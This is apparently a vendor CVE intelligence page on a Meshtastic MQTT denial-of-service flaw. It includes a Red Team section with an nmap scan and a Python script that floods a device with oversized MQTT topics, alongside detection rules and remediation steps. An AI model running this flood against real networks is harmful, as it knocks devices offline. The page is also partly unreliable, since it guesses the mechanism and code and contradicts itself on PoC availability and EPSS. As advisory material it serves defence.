☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-45038

CVE-2024-45038 Denial of Service in Meshtastic
📅 PUBLISHED: 2024-08-27 20:36 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.60%
👁️
0.60% probability
14.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45038 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability affecting the Meshtastic device firmware, specifically in its MQTT handling. Meshtastic is an open-source, off-grid, decentralized mesh network built to run on affordable, low-power devices. The vulnerability allows an unauthenticated attacker to cause a denial of service condition by sending specially crafted MQTT messages, potentially disrupting the entire mesh network. The issue has been fixed in firmware version 2.4.1, and all users, especially those running private MQTT servers, are strongly advised to update immediately. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue. The Meshtastic firmware is distributed via GitHub releases and OTA updates. Users should verify the integrity of firmware downloads using checksums provided by the Meshtastic project.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - No authentication is needed.
  • User Interaction (UI): None (N) - No user action is required.
  • Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): None (N) - No data is modified.
  • Availability (A): High (H) - The vulnerability can cause a complete denial of service.

Threat Level: High. While no active exploitation has been observed, the ease of exploitation (network-based, no auth) and the potential for widespread disruption in mesh networks make this a critical issue for Meshtastic users.

Deep Dive & Mechanics

The vulnerability resides in the MQTT (Message Queuing Telemetry Transport) handling component of the Meshtastic firmware. MQTT is a lightweight publish-subscribe messaging protocol commonly used in IoT and low-power networks. Meshtastic devices can connect to an MQTT broker to relay messages between the mesh network and the internet.

The flaw is a classic resource exhaustion vulnerability (CWE-400). By sending a series of specially crafted MQTT packets, an attacker can cause the target device to consume excessive memory or CPU resources, leading to a crash or unresponsiveness. The exact mechanism is not publicly detailed, but it likely involves:

  • Unbounded message queuing: The firmware may not properly limit the number of incoming MQTT messages, allowing an attacker to flood the device.
  • Malformed packet handling: A specific malformed MQTT packet (e.g., with an invalid topic length or QoS level) could trigger an infinite loop or memory allocation failure.
  • Broker connection exhaustion: An attacker could open numerous MQTT connections to the device, exhausting its connection pool.

The vulnerability affects both the Meshtastic device firmware and the public Meshtastic MQTT broker. For private MQTT servers, the risk is higher as they may not have the same level of monitoring or rate limiting.

Vulnerable vs. Patched Code

Since the exact code fix is not publicly available in a diff format, we can infer the likely changes based on the vulnerability type.

Vulnerable Code (Conceptual - < 2.4.1):

// In MQTT handling loop
void handleMQTTMessage(MQTTMessage msg) {
    // No size or rate limiting
    messageQueue.push(msg);  // Potential for unbounded growth
    processMessage(msg);     // Could be called on malformed data
}

Patched Code (Conceptual - >= 2.4.1):

// In MQTT handling loop
void handleMQTTMessage(MQTTMessage msg) {
    // Input validation and rate limiting
    if (!validateMessage(msg)) {
        return;  // Drop malformed messages
    }
    if (messageQueue.size() >= MAX_QUEUE_SIZE) {
        return;  // Prevent queue overflow
    }
    messageQueue.push(msg);
    processMessage(msg);
}

The patch likely includes:

  • Input validation for MQTT packet fields (topic length, payload size, etc.)
  • Rate limiting or connection throttling
  • Bounded message queues to prevent memory exhaustion

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A Meshtastic device running firmware < 2.4.1
  • Network access to the device's MQTT port (default 1883 for unencrypted, 8883 for TLS)
  • An MQTT client library (e.g., paho-mqtt in Python)

Exploitation Steps:

  1. Scan for vulnerable devices:

    nmap -p 1883,8883 --open -sV <target_network>
    
  2. Craft a DoS payload (Python script):

    import paho.mqtt.client as mqtt
    import time
    
    def exploit(target_ip, target_port=1883):
        client = mqtt.Client()
        client.connect(target_ip, target_port, 60)
        
        # Flood with malformed messages
        for i in range(10000):
            # Example: publish to a very long topic
            client.publish("A" * 65535, "payload")
            # Or publish with invalid QoS
            # client.publish("topic", "payload", qos=99)
        
        client.disconnect()
    
    if __name__ == "__main__":
        exploit("192.168.1.100")
    
  3. Execute the attack:

    python3 exploit.py
    

Expected Outcome: The target device becomes unresponsive, dropping off the mesh network. Other nodes may experience increased latency or packet loss.

Blue Team (Defense & Detection)

Defensive Measures:

  1. Update firmware: Immediately upgrade to version 2.4.1 or later.
  2. Network segmentation: Isolate Meshtastic devices on a separate VLAN.
  3. MQTT broker hardening: If using a private broker, implement:
    • Rate limiting (e.g., mosquitto with max_connections and max_inflight_messages)
    • Authentication (username/password or certificates)
    • Topic ACLs to restrict publishing
  4. Monitor for anomalies: Use the detection rules below.

Detection Lab Setup:

  • Deploy a honeypot Meshtastic device on a monitored network segment.
  • Use Wireshark to capture MQTT traffic and look for patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • High volume of MQTT packets from a single source IP
    • MQTT packets with abnormally long topic names (> 65535 bytes)
    • MQTT packets with invalid QoS values (not 0, 1, or 2)
    • Rapid connection/disconnection patterns on port 1883/8883
  • Host IOCs:

    • Device logs showing repeated MQTT connection failures
    • High CPU or memory usage on the Meshtastic device
    • Device becoming unresponsive or rebooting frequently
  • File IOCs:

    • Modified firmware binaries (check SHA256 hashes against official releases)

Detection Engineering

YARA Rule

rule CVE_2024_45038_Meshtastic_MQTT_DoS {
    meta:
        description = "Detects MQTT packets indicative of CVE-2024-45038 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45038"
        severity = "high"
    strings:
        $mqtt_connect = { 10 ?? 00 04 4D 51 54 54 }  // MQTT CONNECT packet
        $long_topic = /[A-Za-z0-9]{1000,}/  // Very long topic string
        $invalid_qos = { 82 [2] (03|04|05|06|07) }  // QoS > 2 in PUBLISH
    condition:
        $mqtt_connect and ($long_topic or $invalid_qos)
}

Sigma Rule

title: CVE-2024-45038 Meshtastic MQTT DoS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-45038 via MQTT traffic
author: Valters IT
date: 2024-01-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        app_protocol: mqtt
        event_type: alert
        alert.signature_id: 2100001  # Custom rule ID
    condition: selection
falsepositives:
    - Legitimate MQTT traffic with long topics (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-45038 Meshtastic MQTT DoS Attempt"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54|"; within:10; content:"|82|"; distance:0; content:"|03 04 05 06 07|"; within:1; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update firmware: Upgrade all Meshtastic devices to version 2.4.1 or later. This is the only complete fix.
  2. Restrict MQTT access: If you cannot update immediately, block inbound MQTT traffic (ports 1883, 8883) at the network perimeter.
  3. Monitor logs: Enable verbose logging on Meshtastic devices and MQTT brokers to detect anomalous activity.

Long-term Mitigations:

  • Implement network segmentation for IoT devices.
  • Use a dedicated MQTT broker with rate limiting and authentication.
  • Regularly check for firmware updates from the Meshtastic project.
  • Conduct periodic security assessments of your mesh network.

Workarounds: None are available. The vendor explicitly states there are no workarounds.


Valters IT - DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-45038/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.